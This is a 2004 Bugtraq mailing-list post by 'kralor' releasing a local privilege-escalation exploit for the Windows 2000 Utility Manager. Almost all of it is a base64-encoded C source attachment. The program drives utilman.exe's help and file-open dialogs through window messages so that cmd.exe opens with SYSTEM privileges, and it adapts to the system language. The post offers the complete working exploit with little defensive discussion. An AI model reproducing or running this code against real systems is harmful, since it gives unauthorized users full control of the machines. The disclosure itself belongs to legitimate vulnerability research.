[35765] in bugtraq
utilman.exe exploit
daemon@ATHENA.MIT.EDU (=?iso-8859-1?Q?Iv=E1n_Rodriguez_Al)
Sat Jul 17 15:40:27 2004
Message-ID: <10632.212.53.117.243.1090076968.squirrel@212.53.117.243>
Date: Sat, 17 Jul 2004 17:09:28 +0200 (CEST)
From: =?iso-8859-1?Q?Iv=E1n_Rodriguez_Almui=F1a?= <kralor@coromputer.net>
To: bugtraq@securityfocus.com
Cc: full-disclosure@lists.netsys.com, news@securiteam.com,
submissions@packetstormsecurity.org
Reply-To: kralor@coromputer.net
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="----=_20040717170928_82292"
------=_20040717170928_82292
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Local elevation of priviliges exploit for win2k Utility Manager
based on Cesar Cerrudo code, gets system language and sets windows names
to work on any win2k, feature added by kralor.
--
Iván Rodriguez Almuiña
aka kralor
kralor<at>coromputer.net
http://www.coromputer.net
------=_20040717170928_82292
Content-Type: application/octet-stream; name="utilmaned1.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="utilmaned1.c"
LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQogKioqKipDKioqKipPKioqKipSKioq
KipPKioqKioqTSoqKioqKlAqKioqKlUqKioqKioqVCoqKioqKipFKioqKioqUioqKioqMioqKjAq
KiowKioqNCoqKioNCiAqKiAgICAgICAgICBbQ3JwdF0gVXRpbGl0eSBNYW5hZ2VyIGV4cGxvaXQg
djEuNjY2IG1vZGlmaWVkIGJ5IGtyYWxvciBbQ3JwdF0gICAgICAgICAgICAqKg0KICogKiAqICog
KiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAq
ICogKiAqICogKiAqICogKiAqICogKiAqDQogKiogICBJdCBnZXRzIHN5c3RlbSBsYW5ndWFnZSBh
bmQgc2V0cyB3aW5kb3dzIG5hbWVzIHRvIHdvcmsgb24gYW55IHdpbjJrIDpQICAgICAgICAgICAg
KioNCiAqKiAgIEZlZWwgZnJlZSB0byBhZGQgb3RoZXIgbGFuZ3VhZ2VzIDopICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqKg0KICoqICAgWW91IGtub3cgd2hl
cmUgd2UgYXJlLi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICoqDQogKioqKipDKioqKipPKioqKipSKioqKipPKioqKioqTSoqKioqKlAq
KioqKlUqKioqKioqVCoqKioqKipFKioqKioqUioqKioqMioqKjAqKiowKioqNCoqKioNCiAqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCi8qIG9yaWdpbmFsIGRpc2NsYWltZXIgKi8N
Ci8vYnkgQ2VzYXIgQ2VycnVkbyAgc3Fsc2VjPmF0PHlhaG9vLmNvbQ0KLy9Mb2NhbCBlbGV2YXRp
b24gb2YgcHJpdmlsaWdlcyBleHBsb2l0IGZvciBXaW5kb3dzIDJLIFV0aWxpdHkgTWFuYWdlciAo
c2Vjb25kIG9uZSEhISEpDQovL0dpdmVzIHlvdSBhIHNoZWxsIHdpdGggc3lzdGVtIHByaXZpbGVn
ZXMNCi8vSWYgeW91IGhhdmUgcHJvYmxlbXMgdHJ5IGNoYW5naW5nIFNsZWVwKCkgdmFsdWVzLg0K
LyogZW5kIG9mIG9yaWdpbmFsIGRpc2NsYWltZXIgKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQoj
aW5jbHVkZSA8d2luZG93cy5oPg0KDQpzdHJ1Y3Qgew0KIGludCBpZDsNCiBjaGFyICp1dGlsbWFu
Ow0KIGNoYXIgKndpbmhlbHA7DQogY2hhciAqb3BlbjsNCn0gbGFuZ1tdID0gew0KCXsgMHgwYywi
R2VzdGlvbm5haXJlIGQndXRpbGl0YWlyZXMiLCJhaWRlIGRlIFdpbmRvd3MiLCJPdXZyaXIiIH0s
IC8qIEZyZW5jaCAgKi8NCgl7IDB4MDksIlV0aWxpdHkgbWFuYWdlciIsIldpbmRvd3MgSGVscCIs
Ik9wZW4iIH0JCSAgLyogRW5nbGlzaCAqLw0KfTsNCg0Kdm9pZCBwcmludF9sYW5nKGludCBpZCkN
CnsNCgljaGFyICpsYW5nX2xpc3RbXSA9IHsiTmV1dHJhbCIsIkFyYWJpYyIsIkJ1bGdhcmlhbiIs
IkNhdGFsYW4iLCJDaGluZXNlIiwiQ3plY2giLA0KCQkJICAgICAiRGFuaXNoIiwiR2VybWFuIiwi
R3JlZWsiLCJFbmdsaXNoIiwiU3BhbmlzaCIsIkZpbm5pc2giLA0KCQkJICAgICAiRnJlbmNoIiwi
SGVicmV3IiwiSHVuZ2FyaWFuIiwiSWNlbGFuZGljIiwiaXRhbGlhbiIsDQoJCQkgICAgICJKYXBh
bmVzZSIsIktvcmVhbiIsIkR1dGNoIiwiTm9yd2VnaWFuIiwiUG9saXNoIiwNCgkJCSAgICAgIlBv
cnR1Z3Vlc2UiLCJSb21hbmlhbiIsIlJ1c3NpYW4iLCJDcm9hdGlhbiIsIlNlcmJpYW4iLA0KCQkJ
ICAgICAiU2xvdmFrIiwiQWxiYW5pYW4iLCJTd2VkaXNoIiwiVGhhaSIsIlR1cmtpc2giLCJVcmR1
IiwNCgkJCSAgICAgIkluZG9uZXNpYW4iLCJVa3JhaW5pYW4iLCJCZWxhcnVzaWFuIiwiU2xvdmVu
aWFuIiwNCgkJCSAgICAgIkVzdG9uaWFuIiwiTGF0dmlhbiIsIkxpdGh1YW5pYW4iLCJGYXJzaSIs
IlZpZXRuYW1lc2UiLA0KCQkJICAgICAiQXJtZW5pYW4iLCJBemVyaSIsIkJhc3F1ZSIsIkZZUk8g
TWFjZWRvbmlhbiIsIkFmcmlrYWFucyIsDQoJCQkgICAgICJHZW9yZ2lhbiIsIkZhZXJvZXNlIiwi
SGluZGkiLCJNYWxheSIsIkthemFrIiwiS3lyZ3l6IiwNCgkJCSAgICAgIlN3YWhpbGkiLCJVemJl
ayIsIlRhdGFyIiwiTm90IHN1cHBvcnRlZCIsIlB1bmphYmkiLA0KCQkJICAgICAiR3VqYXJhdGki
LCJOb3Qgc3VwcG9ydGVkIiwiVGFtaWwiLCJUZWx1Z3UiLCJLYW5uYWRhIiwNCgkJCSAgICAgIk5v
dCBzdXBwb3J0ZWQiLCJOb3Qgc3VwcG9ydGVkIiwiTWFyYXRoaSIsIlNhbnNrcml0IiwNCgkJCSAg
ICAgIk1vbmdvbGlhbiIsIkdhbGljaWFuIHRoZSBiZXN0IDspIiwiS29ua2FuaSIsIk5vdCBzdXBw
b3J0ZWQiLA0KCQkJICAgICAiTm90IHN1cHBvcnRlZCIsIlN5cmlhYyIsIk5vdCBzdXBwb3J0ZWQi
LCJOb3Qgc3VwcG9ydGVkIiwNCgkJCSAgICAgIkRpdmVoaSIsIkludmFyaWFudCJ9Ow0KCXByaW50
ZigiJXNcclxuIixsYW5nX2xpc3RbaWRdKTsNCglyZXR1cm47DQp9DQoNCmludCBzZXRfbGFuZyh2
b2lkKQ0Kew0KCXVuc2lnbmVkIGludCBsYW5nX3VzcixsYW5nX3N5cyxpZDsNCg0KCWlkPUdldFN5
c3RlbURlZmF1bHRMYW5nSUQoKTsNCglsYW5nX3N5cz1QUklNQVJZTEFOR0lEKGlkKTsNCglpZD1H
ZXRVc2VyRGVmYXVsdExhbmdJRCgpOw0KCWxhbmdfdXNyPVBSSU1BUllMQU5HSUQoaWQpOw0KCWlm
KGxhbmdfdXNyIT1sYW5nX3N5cykgew0KCQlwcmludGYoIndhcm5pbmc6IHVzZXIgbGFuZ3VhZ2Ug
ZGlmZmVycyBmcm9tIHN5c3RlbSBsYW5ndWFnZVxyXG5cclxuIik7DQoJCXByaW50ZigiMS4gc3lz
dGVtIDogIik7cHJpbnRfbGFuZyhsYW5nX3N5cyk7DQoJCXByaW50ZigiMi4gdXNlciAgIDogIik7
cHJpbnRfbGFuZyhsYW5nX3Vzcik7cHJpbnRmKCJTZWxlY3QoMS0yKTogIik7DQoJCWlkPWdldGNo
KCk7DQoJaWYoaWQhPTQ5JiZpZCE9NTApIHsNCgkJcHJpbnRmKCJ3cm9uZyBjaG9pY2UgJyVjJywg
bGVhdmluZy5cclxuIixpZCk7DQoJCWV4aXQoMCk7DQoJCX0NCglpZihpZD09NDkpIHsNCgkJcHJp
bnRmKCJzeXN0ZW0gbGFuZ3VhZ2VcclxuIik7DQoJCXJldHVybiBsYW5nX3N5czsNCgkJfQ0KCWVs
c2UNCgkJcHJpbnRmKCJ1c2VyIGxhbmd1YWdlXHJcbiIpOw0KCX0NCglyZXR1cm4gbGFuZ191c3I7
DQp9DQoNCnZvaWQgYmFubmVyKCkNCnsNCglzeXN0ZW0oImNscyIpOw0KCXByaW50ZigiXHJcblxy
XG5cdFtDcnB0XSBVdGlsaXR5IE1hbmFnZXIgZXhwbG9pdCB2MS42NjYgbW9kaWZpZWQgYnkga3Jh
bG9yIFtDcnB0XVxyXG4iKTsNCglwcmludGYoIlx0XHRcdCAgYmFzZSBjb2RlIGJ5IENlc2FyIENl
cnJ1ZG9cclxuIik7DQoJcHJpbnRmKCJcdFx0XHQgICBZb3Uga25vdyB3aGVyZSB3ZSBhcmUuLi5c
clxuXHJcbiIpOw0KCXJldHVybjsNCn0NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIqIGFyZ3Zb
XSkNCnsNCiAgICAgICAgSFdORCBsSGFuZGxlLCBsSGFuZGxlMjsNCiAgICAgICAgUE9JTlQgcG9p
bnQ7DQogICAgICAgIGNoYXIgY21kW109IiV3aW5kaXIlXFxzeXN0ZW0zMlxcY21kLmV4PyI7DQoJ
dW5zaWduZWQgaW50IGk7DQoJaW50IGxhbmdfaWQ7DQoNCgliYW5uZXIoKTsNCg0KCXByaW50Zigi
WytdIEdhdGhlcmluZyBzeXN0ZW0gbGFuZ3VhZ2UgaW5mb3JtYXRpb25cclxuIik7DQoJbGFuZ19p
ZD1zZXRfbGFuZygpOw0KCXByaW50ZigiWytdIE9LIGxhbmd1YWdlIC4uLiIpO3ByaW50X2xhbmco
bGFuZ19pZCk7DQoNCglmb3IoaT0wO2k8c2l6ZW9mKGxhbmcpL3NpemVvZihsYW5nWzBdKTtpKysp
DQoJCWlmKGxhbmdbaV0uaWQ9PWxhbmdfaWQpDQoJCQlicmVhazsNCglpZihpPT1zaXplb2YobGFu
Zykvc2l6ZW9mKGxhbmdbMF0pKSB7DQoJCXByaW50ZigiZXJyb3I6IHVuZGVmaW5lZCBsYW5ndWFn
ZS5cclxuIik7DQoJCXJldHVybiAtMTsNCgl9DQoJcHJpbnRmKCJbK10gVHJ5aW5nIHRvIGV4ZWN1
dGUgcHJvZ3JhbSB3aXRoIFNZU1RFTSBwcml2aWxpZ2VzIHRocm91Z2ggdXRpbG1hbi5leGVcclxu
Iik7DQoJcHJpbnRmKCJwcm9nOiAlc1xyXG4iLGNtZCk7DQovLyAgcnVuIHV0aWxpdHkgbWFuYWdl
cg0KLy8gICAgICAgc3lzdGVtKCJ1dGlsbWFuLmV4ZSAvc3RhcnQiKTsNCglXaW5FeGVjKCJ1dGls
bWFuLmV4ZSAvc3RhcnQiLFNXX0hJREUpOw0KICAgICAgIFNsZWVwKDEwMDApOw0KDQoJbEhhbmRs
ZT1GaW5kV2luZG93KE5VTEwsIGxhbmdbaV0udXRpbG1hbik7ICAgDQogICAgICAgIGlmICghbEhh
bmRsZSkgew0KCQlwcmludGYoImVycm9yOiB1bmFibGUgdG8gc3RhcnQgdXRpbG1hbi5leGUuXHJc
biIpOw0KICAgICAgICAgICAgICAgIHJldHVybiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgUG9z
dE1lc3NhZ2UobEhhbmRsZSwweDMxMywwLDApOyAvLz1yaWdodCBjbGljayBvbiB0aGUgYXBwIGJ1
dHRvbiBpbiB0aGUNCgkvL3Rhc2tiYXIgb3IgQWx0K1NwYWNlIEJhcg0KICAgICAgICANCiAgICAg
ICAgU2xlZXAoMTAwKTsNCg0KICAgICAgICBTZW5kTWVzc2FnZShsSGFuZGxlLDB4MzY1LDAsMHgx
KTsgLy9zZW5kIFdNX0NPTU1BTkRIRUxQICAweDAzNjUgIGxQYXJhbSBtdXN0IGJlPD5OVUxMIA0K
ICAgICAgICBTbGVlcCgzMDApOw0KICAgICAgICANCglTZW5kTWVzc2FnZSAoRmluZFdpbmRvdyhO
VUxMLCBsYW5nW2ldLndpbmhlbHApLCBXTV9JTUVfS0VZRE9XTiwgVktfUkVUVVJOLCAwKTsNCiAg
ICAgICAgU2xlZXAoNTAwKTsNCg0KICAgICAgICAvLyBmaW5kIG9wZW4gZmlsZSBkaWFsb2cgd2lu
ZG93DQoJbEhhbmRsZSA9IEZpbmRXaW5kb3coIiMzMjc3MCIsbGFuZ1tpXS5vcGVuKTsNCiAgICAg
ICAgLy8gZ2V0IGlucHV0IGJveCBoYW5kbGUNCiAgICAgICAgbEhhbmRsZTIgPSBHZXREbGdJdGVt
KGxIYW5kbGUsIDB4NDdDKTsNCiAgICAgICAgU2xlZXAoNTAwKTsNCg0KICAgICAgICAvLyBzZXQg
dGV4dCB0byBmaWx0ZXIgbGlzdHZpZXcgdG8gZGlzcGxheSBvbmx5IGNtZC5leGUNCiAgICAgICAg
U2VuZE1lc3NhZ2UgKGxIYW5kbGUyLCBXTV9TRVRURVhULCAwLCAoTFBBUkFNKWNtZCk7DQogICAg
ICAgIFNsZWVwKDgwMCk7DQoNCiAgICAgICAgLy8gc2VuZCByZXR1cm4NCiAgICAgICAgU2VuZE1l
c3NhZ2UgKGxIYW5kbGUyLCBXTV9JTUVfS0VZRE9XTiwgVktfUkVUVVJOLCAwKTsNCg0KICAgICAg
ICAvL2dldCBuYXZpZ2F0aW9uIGJhciBoYW5kbGUNCiAgICAgICAgbEhhbmRsZTIgPSBHZXREbGdJ
dGVtKGxIYW5kbGUsIDB4NEEwKTsNCiAgICAgICAgDQogICAgICAgIC8vc2VuZCB0YWINCiAgICAg
ICAgU2VuZE1lc3NhZ2UgKGxIYW5kbGUyLCBXTV9JTUVfS0VZRE9XTiwgVktfVEFCLCAwKTsNCiAg
ICAgICAgU2xlZXAoNTAwKTsNCiAgICAgICAgbEhhbmRsZTIgPSBGaW5kV2luZG93RXgobEhhbmRs
ZSxOVUxMLCJTSEVMTERMTF9EZWZWaWV3IiwgTlVMTCk7DQogICAgICAgIC8vZ2V0IGxpc3Qgdmll
dyBoYW5kbGUNCiAgICAgICAgbEhhbmRsZTIgPSBHZXREbGdJdGVtKGxIYW5kbGUyLCAweDEpOw0K
DQogICAgICAgIFNlbmRNZXNzYWdlIChsSGFuZGxlMiwgV01fSU1FX0tFWURPV04sIDB4NDMsIDAp
OyAvLyBzZW5kICJjIiBjaGFyDQogICAgICAgIFNlbmRNZXNzYWdlIChsSGFuZGxlMiwgV01fSU1F
X0tFWURPV04sIDB4NEQsIDApOyAvLyBzZW5kICJtIiBjaGFyDQogICAgICAgIFNlbmRNZXNzYWdl
IChsSGFuZGxlMiwgV01fSU1FX0tFWURPV04sIDB4NDQsIDApOyAvLyBzZW5kICJkIiBjaGFyDQog
ICAgICAgIFNsZWVwKDUwMCk7DQoNCiAgICAgICAgLy9wb3B1cCBjb250ZXh0IG1lbnUNCiAgICAg
ICAgUG9zdE1lc3NhZ2UgKGxIYW5kbGUyLCBXTV9DT05URVhUTUVOVSwgMCwgMCk7DQogICAgICAg
IFNsZWVwKDEwMDApOw0KDQogICAgICAgIC8vIGdldCBjb250ZXh0IG1lbnUgaGFuZGxlDQogICAg
ICAgIHBvaW50LnggPTEwOyBwb2ludC55ID0zMDsNCiAgICAgICAgbEhhbmRsZTI9V2luZG93RnJv
bVBvaW50KHBvaW50KTsNCg0KICAgICAgICBTZW5kTWVzc2FnZSAobEhhbmRsZTIsIFdNX0tFWURP
V04sIFZLX0RPV04sIDApOyAvLyBtb3ZlIGRvd24gaW4gbWVudQ0KICAgICAgICBTZW5kTWVzc2Fn
ZSAobEhhbmRsZTIsIFdNX0tFWURPV04sIFZLX0RPV04sIDApOyAvLyBtb3ZlIGRvd24gaW4gbWVu
dQ0KICAgICAgICBTZW5kTWVzc2FnZSAobEhhbmRsZTIsIFdNX0tFWURPV04sIFZLX1JFVFVSTiwg
MCk7IC8vIHNlbmQgcmV0dXJuDQoNCiAgICAgICAgU2VuZE1lc3NhZ2UgKGxIYW5kbGUsIFdNX0NM
T1NFLDAsMCk7IC8vIGNsb3NlIG9wZW4gZmlsZSBkaWFsb2cgd2luZG93DQogICAgICAgIFNsZWVw
KDUwMCk7DQoNCglTZW5kTWVzc2FnZSAoRmluZFdpbmRvdyhOVUxMLCBsYW5nW2ldLndpbmhlbHAp
LCBXTV9DTE9TRSwgMCwgMCk7Ly8gY2xvc2Ugb3BlbiBlcnJvciB3aW5kb3cNCglTZW5kTWVzc2Fn
ZSAoRmluZFdpbmRvdyhOVUxMLCBsYW5nW2ldLnV0aWxtYW4pLCBXTV9DTE9TRSwgMCwgMCk7Ly8g
Y2xvc2UgdXRpbGl0eW1hbmFnZXINCiAgICAgICAgcmV0dXJuIDA7DQp9DQo=
------=_20040717170928_82292--
